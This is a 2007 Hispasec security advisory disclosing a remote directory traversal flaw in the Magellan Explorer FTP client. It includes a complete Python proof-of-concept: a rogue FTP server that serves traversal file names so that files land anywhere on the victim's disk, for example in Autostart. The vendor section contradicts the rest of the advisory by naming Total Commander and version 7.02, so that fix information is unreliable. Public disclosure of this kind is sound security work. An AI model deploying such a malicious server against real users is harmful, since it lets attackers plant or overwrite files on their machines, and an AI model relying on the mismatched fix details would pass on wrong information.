HISPASEC
Security Advisory
http://blog.hispasec.com/lab/

Name         : 2K7SEPT6 Magellan Explorer 3.32 build 2305 Remote FTP
Client Directory Traversal
Class        : Remote Directory Traversal
Threat level : HIGH
Discovered   : 2007-08-14
Published    : 2007-09-06
Credit       : Gynvael Coldwind
Vulnerable   : 3.32 built 2305 and prior, other versions may be affected


== Abstract ==

Enriva Development Magellan Explorer is an award winning Windows file
explorer with a
built-in support for FTP protocol.

Magellan Explorer fails to correctly handle file names on remote FTP servers
while downloading them to a local drive. This may lead to a directory traversal
if a malformed file name contains relative path.
Successful exploitation may lead to a full scale system compromise.


== Details ==

The FTP feature fails to correctly check the name of a file that is to be
downloaded. This filename can contain backslashes, slashes and dots, and these
dots and backslashes will be used as a part of a local file name.
An example file list sent from the FTP server can look like this:
-rwxr-xr-x   2 ftp      ftp          4096 Aug  1 02:28
st\..\..\..\..\..\BackSlashPoC
-rwxr-xr-x   2 ftp      ftp          4096 Aug  1 02:28
st/../../../../../SlashPoC
When the user chooses to download the file (or a directory in which this file
exists), the Magellan Explorer will try to create the file on a local harddrive
using the dots and backslashes as a part of a name.
Since more then enough \..\..\ will just bring the path to the disk root, the
attacker can choose any location on the disk to write the file to. The file can
for example overwrite a critical system file, or create a file in the Autostart
folder.

See Proof of Concept exploit at the bottom of this advisory.


== Vendor status and solution ==

The vendor has been informed and has released a new version (7.02) with this
issue being fixed.
It is advised to upgrade Total Commander to the newest version availible.


== Proof of Concept ==
# python localhost ftp server
# by Gynvael Coldwind

import socket

TransferSock = 0

def sendDirList (sock):
  (DataSock, Address) = TransferSock.accept()
  print "sendDirList: TransferSock accepted a connection"
  sock.send("150 Opening ASCII mode data connection for file list\r\n");
  DataSock.send("-rwxr-xr-x   2 ftp      ftp          4096 Aug  1
02:28 st\\..\\..\\..\\..\\..\\BackSlashPoC\n" +
    "-rwxr-xr-x   2 ftp      ftp          4096 Aug  1 02:28
st/../../../../../../SlashPoC\n");
  DataSock.close()
  sock.send("226 Transfer complete.\r\n");
  print "sendDirList: Transfer complete\r\n"

def sendFile (sock):
  (DataSock, Address) = TransferSock.accept()
  print "sendDirList: TransferSock accepted a connection"
  sock.send("150 Opening BINARY mode data connection for sth (5 bytes)\r\n");
  DataSock.send("Proof of Concept - Remote FTP Client directory
traversal vulnerability (G.C. - Hispasec)");
  DataSock.close()
  sock.send("226 Transfer complete.\r\n");
  print "sendDirList: Transfer complete\r\n"

def handleUSER (sock, cmd, argz): sock.send("331 Password required for
user\r\n")
def handlePASS (sock, cmd, argz): sock.send("230 User logged in.\r\n")
def handleSYST (sock, cmd, argz): sock.send("215 UNIX Type: L8\r\n")
def handleFEAT (sock, cmd, argz): sock.send("211-Features:\r\n
MDTM\r\n REST STREAM\r\n211 End\r\n");
def handleTYPE (sock, cmd, argz): sock.send("200 Type set to " + argz + "\r\n");
def handlePASV (sock, cmd, argz): sock.send("227 Entering Passive Mode
(127,0,0,1,10,10)\r\n");
def handlePWD (sock, cmd, argz): sock.send("257 \"/ProofOfConcept\" is
current directory.\r\n")
def handleLIST (sock, cmd, argz): sendDirList(sock)
def handleQUIT (sock, cmd, argz):
  sock.send("Bye.\r\n")
  sock.close()

def handleRETR (sock, cmd, argz):
  if argz == "/":
    sendDirList(sock)
  else:
    sendFile(sock)


def unknown (sock, cmd, argz): sock.send("550 " + cmd + ": Operation
not permitted\r\n")

handlers = {
    'USER': handleUSER,
    'PASS': handlePASS,
    'SYST': handleSYST,
    'FEAT': handleFEAT,
    'TYPE': handleTYPE,
    'PASV': handlePASV,
    'PWD': handlePWD,
    'LIST': handleLIST,
    'QUIT': handleQUIT,
    'RETR': handleRETR
    }

ControlSock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
ControlSock.bind(("127.0.0.1", 2021))
ControlSock.listen(1)

TransferSock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
TransferSock.bind(("127.0.0.1", 10 * 256 + 10))
TransferSock.listen(10)

# Control Sock loop
(ClientSock, Address) = ControlSock.accept()
ClientSock.send("220 PoCFTPD 1.2.3.4 Server ready.\r\n");
end = 0

while not end:
  cmd = ClientSock.recv(1024)
  print "Debug: recv -> " + cmd.strip()
  command = (cmd[0:4]).strip()
  argz = ((cmd.strip())[5:]).strip()
  handlers.get(command, unknown)(ClientSock, command, argz)


== Disclaimer ==
This document and all the information it contains is provided "as is",
without any warranty. Hispasec Sistemas is not responsible for the
misuse of the information provided in this advisory. The advisory is
provided for educational purposes only.

Permission is hereby granted to redistribute this advisory, providing
that no changes are made and that the copyright notices and
disclaimers remain intact.

Copyright (C) 2007 Hispasec Sistemas.

-- 
Gynvael Coldwind
mailto: gynvael AT vexillium DOT org
mailto: michael AT hispasec DOT com